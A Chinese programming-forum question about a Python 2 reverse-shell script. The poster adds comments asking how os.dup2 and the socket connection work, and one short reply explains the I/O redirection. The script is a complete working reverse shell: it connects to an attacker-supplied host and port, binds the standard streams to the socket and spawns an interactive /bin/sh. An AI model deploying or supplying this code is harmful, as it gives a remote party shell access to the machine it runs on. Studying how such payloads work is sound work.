请教一个反弹连接的问题
不懂的地方已加黑
import sys, socket, os, subprocess
host = sys.argv[1]
port = int(sys.argv[2])
socket.setdefaulttimeout(60)
def bc():
try:
sok = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sok.connect((host,port))
sok.send('''
b4ltazar@gmail.com
Ljuska.org \n\n''')
os.dup2(sok.fileno(),0)
os.dup2(sok.fileno(),1)
os.dup2(sok.fileno(),2)
os.dup2(sok.fileno(),3)
shell = subprocess.call(["/bin/sh","-i"])
#请问下这个地方os.dup2是什么意思?我查到的是将arg1复制到arg2,但是后面需要加上0,1,2,3(虽然0,1,2,3表示输出的一些问题)
#第二个问题是 它是如何将当前shell转发到远端监听端口的?没有看到发送什么数据啊?
except socket.timeout:
print "[!] Connection timed out"
except socket.error, e:
print "[!] Error while connecting", e
bc()
[解决办法]
貌似把标准输出输入重定向到socket上,然后在sh里直接和服务对话...